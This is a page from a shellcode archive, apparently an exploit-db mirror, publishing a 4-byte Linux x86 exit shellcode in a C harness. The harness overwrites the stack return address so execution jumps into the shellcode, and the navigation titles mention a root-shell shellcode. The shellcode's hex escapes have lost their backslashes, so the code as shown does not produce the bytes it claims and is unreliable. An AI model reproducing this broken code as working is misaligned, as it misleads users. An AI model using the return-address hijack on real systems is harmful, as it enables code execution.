[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 getppid() + execve(/proc/pid/exe) 51 bytes
# Next Title : linux/x86 setreuid(0, 0) + execve(/bin/sh) 31 bytes 


/*
 * (linux/x86) quick (yet conditional, eax != 0 and edx == 0) exit - 4 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"xf7xf0"              // div %eax 
	"xcdx80";             // int $0x80

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]